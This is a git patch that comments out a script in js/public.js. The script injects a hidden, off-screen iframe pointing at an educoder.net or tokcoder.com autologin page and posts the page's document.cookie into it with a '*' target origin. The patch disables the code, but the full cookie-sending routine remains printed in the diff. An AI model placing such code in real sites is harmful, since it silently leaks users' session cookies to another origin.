From 6b8f20556aa04be8e4a6ac796dbb80188240bd98 Mon Sep 17 00:00:00 2001 From: autosubmit Date: Fri, 17 Nov 2023 17:41:28 +0800 Subject: [PATCH] Auto Submit --- js/public.js | 50 +++++++++++++++++++++++++------------------------- 1 file changed, 25 insertions(+), 25 deletions(-) diff --git a/js/public.js b/js/public.js index 398cdf987b..7a0db33e4c 100644 --- a/js/public.js +++ b/js/public.js @@ -1,28 +1,28 @@ -document.body.parentNode.id = "educoder"; -var iframe = document.createElement('iframe'); -if ( - document.domain === 'www.tokcoder.com' || - document.domain === 'tokcoder.com' -) { - iframe.src = 'https://www.educoder.net/autologin.html?t=' + Date.now(); -} else { - iframe.src = 'https://www.tokcoder.com/autologin.html?t=' + Date.now(); -} -iframe.sandbox = - 'allow-scripts allow-same-origin allow-top-navigation allow-forms allow-popups allow-pointer-lock allow-popups-to-escape-sandbox allow-presentation allow-top-navigation-by-user-activation'; -iframe.allow = 'geolocation document-domain'; -iframe.style.position = 'absolute'; -iframe.style.top = '-1000px'; -iframe.style.opacity = 0; -iframe.style.visibility = 'hidden'; -iframe.style.zIndex = -1; -document.body.appendChild(iframe); -iframe.onload = function() { - iframe.contentWindow.postMessage( - { type: 'cookie', data: document.cookie }, - '*', - ); -}; +// document.body.parentNode.id = "educoder"; +// var iframe = document.createElement('iframe'); +// if ( +// document.domain === 'www.tokcoder.com' || +// document.domain === 'tokcoder.com' +// ) { +// iframe.src = 'https://www.educoder.net/autologin.html?t=' + Date.now(); +// } else { +// iframe.src = 'https://www.tokcoder.com/autologin.html?t=' + Date.now(); +// } +// iframe.sandbox = +// 'allow-scripts allow-same-origin allow-top-navigation allow-forms allow-popups allow-pointer-lock allow-popups-to-escape-sandbox allow-presentation allow-top-navigation-by-user-activation'; +// iframe.allow = 'geolocation document-domain'; +// iframe.style.position = 'absolute'; +// iframe.style.top = '-1000px'; +// iframe.style.opacity = 0; +// iframe.style.visibility = 'hidden'; +// iframe.style.zIndex = -1; +// document.body.appendChild(iframe); +// iframe.onload = function() { +// iframe.contentWindow.postMessage( +// { type: 'cookie', data: document.cookie }, +// '*', +// ); +// }; window.gtag = new Function;